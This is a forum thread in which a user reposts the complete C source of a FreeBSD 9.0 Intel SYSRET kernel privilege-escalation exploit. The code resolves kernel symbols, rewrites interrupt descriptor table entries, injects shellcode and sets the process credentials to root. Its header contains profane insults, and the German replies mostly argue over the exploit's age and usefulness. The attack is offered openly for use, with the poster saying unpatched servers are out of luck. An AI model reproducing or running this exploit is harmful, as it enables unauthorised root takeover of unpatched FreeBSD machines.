You last visited: Today at 18:58
Advertisement
FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit
Discussion on FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit within the Metin2 PServer Guides & Strategies forum part of the Metin2 Private Server category.
10/24/2013, 19:57
#1
elite*gold: 80
Join Date: Dec 2012
Posts: 29
Received Thanks: 39
FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit
Code:
/*
* FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit
* Author by CurcolHekerLink
*
* This exploit based on open source project, I can make it open source too. Right?
*
* If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :)
*
* Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink,
* Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam
* if you would like next private exploit leakage, just mention @MamahhDedeh
*
* Some people may feel harmed when we release this exploit :))
*
* p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :))
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
#define TRIGGERSIZE 20
#define BOUNCESIZE 18
uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp;
struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
u_long matchsym(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
return ksym.symvalue;
}
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}
void payload()
{
printf("[+] Woohoo!!!\n");
exit(0);
}
void resetidt()
{
struct thread *td;
struct ucred *cred;
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0);
asm ("mov %%gs:0, %0" : "=r"(td));
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
asm ("swapgs; sysretq;" :: "c"(payload));
}
void resolving()
{
Xdivp = (uintptr_t)matchsym("Xdiv");
Xdbgp = (uintptr_t)matchsym("Xdbg");
Xbptp = (uintptr_t)matchsym("Xbpt");
Xoflp = (uintptr_t)matchsym("Xofl");
Xbndp = (uintptr_t)matchsym("Xbnd");
Xillp = (uintptr_t)matchsym("Xill");
Xdnap = (uintptr_t)matchsym("Xdna");
Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");
Xtssp = (uintptr_t)matchsym("Xtss");
Xmissingp = (uintptr_t)matchsym("Xmissing");
Xstkp = (uintptr_t)matchsym("Xstk");
Xprotp = (uintptr_t)matchsym("Xprot");
Xpagep = (uintptr_t)matchsym("Xpage");
Xfpup = (uintptr_t)matchsym("Xfpu");
Xalignp = (uintptr_t)matchsym("Xalign");
Xmchkp = (uintptr_t)matchsym("Xmchk");
Xxmmp = (uintptr_t)matchsym("Xxmm");
}
void trigger()
{
printf("[+] Crotz...\n");
uint64_t pagesize = getpagesize();
uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize);
mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (mappedarea == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
char triggerpayload[] =
"\xb8\x18\x00\x00\x00"
"\x48\x89\xe3"
"\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\x0f\x05";
uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;
memcpy(offset_addr, triggerpayload, TRIGGERSIZE);
*(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
printf("[+] Crotz...\n");
char bouncepayload[] =
"\x0f\x01\xf8"
"\x48\x89\xdc"
"\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\xff\xe0";
uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));
size_t bouncer_allocsize = pagesize;
if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE)
bouncer_allocsize += pagesize;
if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (bouncer)");
exit(1);
}
memcpy(bouncer, bouncepayload, BOUNCESIZE);
*(uint64_t*)(bouncer + 8) = (uint64_t)resetidt;
((void (*)())offset_addr)();
}
int main(int argc, char *argv[])
{
printf("[+] SYSRET FUCKUP!!\n");
printf("[+] Start Engine...\n");
resolving();
printf("[+] Crotz...\n");
trigger();
return 0;
}
Comments
No comments so far
© Offensive Security 2013
10/24/2013, 20:53
#2
elite*gold: 0
Join Date: Jan 2010
Posts: 1,916
Received Thanks: 538
1 Jahr alt aber egal. Hauptsache du machst hier auf hacker, aber weißt nicht mal wie man nen exploit benutzt oder was dieser bewirkt.
10/24/2013, 20:56
#3
elite*gold: 0
Join Date: Oct 2013
Posts: 22
Received Thanks: 4
Hast du die Erlaubnis das zu 'Releasen'?
Copy-Paste
Hier:
10/24/2013, 22:01
#4
elite*gold: 129
Join Date: Jun 2011
Posts: 1,506
Received Thanks: 264
Copy and Paste sry
10/25/2013, 09:28
#5
elite*gold: 0
Join Date: Dec 2010
Posts: 44
Received Thanks: 0
?
10/25/2013, 11:59
#6
elite*gold: 0
Join Date: Oct 2013
Posts: 25
Received Thanks: 23
Ehm, Thankshuntig ,... UNNÖTIG
11/01/2013, 16:31
#7
elite*gold: 80
Join Date: Dec 2012
Posts: 29
Received Thanks: 39
Quote:
Originally Posted by
'oShet
1 Jahr alt aber egal. Hauptsache du machst hier auf hacker, aber weißt nicht mal wie man nen exploit benutzt oder was dieser bewirkt.
Ich wusste garnicht das Freebsd 9.0 2012 released wurde informiere dich mal besser bevor du mitredest. Dieser Thread dient auch nicht zum Thanks hunting oder i-was anderes lediglich zur information deswegen sind die credits im code auch noch vermerkt ihr idioten es ist ein aktueller Exploit für freebsd 9.0 und wer ihn nicht fixxt hat halt pech gehabt.
11/01/2013, 16:40
#8
elite*gold: 0
Join Date: Oct 2013
Posts: 9
Received Thanks: 2
Freebsd 9.0 wurde am 12. Januar 2012 Veröffentlicht Schwachkopf dieser Exploit ist nutzlos.
Similar Threads
Kernel für FreeBSD 9.1
09/18/2013 - Metin2 Private Server - 1 Replies
Hi wollte mal kurz fragen, ob mir jemand seinen kernel hochladen könnte ../usr/src, da ich keine Verbindung zur Mainsite per sysinstall bekomme.
[Release]MySQL (Linux) Database Privilege Elevation Zeroday Exploit
02/05/2013 - Metin2 PServer Guides & Strategies - 6 Replies
For all stupid idiots
Men what is wrong with u.?
use DBI();
$|=1;
[FreeBSD Tutorials] Part 2 - Der Kernel
06/19/2012 - Metin2 PServer Guides & Strategies - 11 Replies
Hi, ich hoffe mein 1. Part hat euch gefallen, falls ihr ihn nicht mitbekommen habt, hier ist er: http://www.elitepvpers.com/forum/metin2-pserver-gu ides-strategies/1897745-freebsd-tutorials-part-1-t uning.html
Aber nun zum neuen Part. Hier wird es um den Kernel allgemein gehen. Wir werden lernen was er ist, was er für eine Bedeutung für euren Server hat und wie ihr ihn optimiert! Also eine ganze Menge ;)
Fangen wir an mit den Erklärungen:
Was ist ein Kernel?
All times are GMT +2. The time now is 19:01 .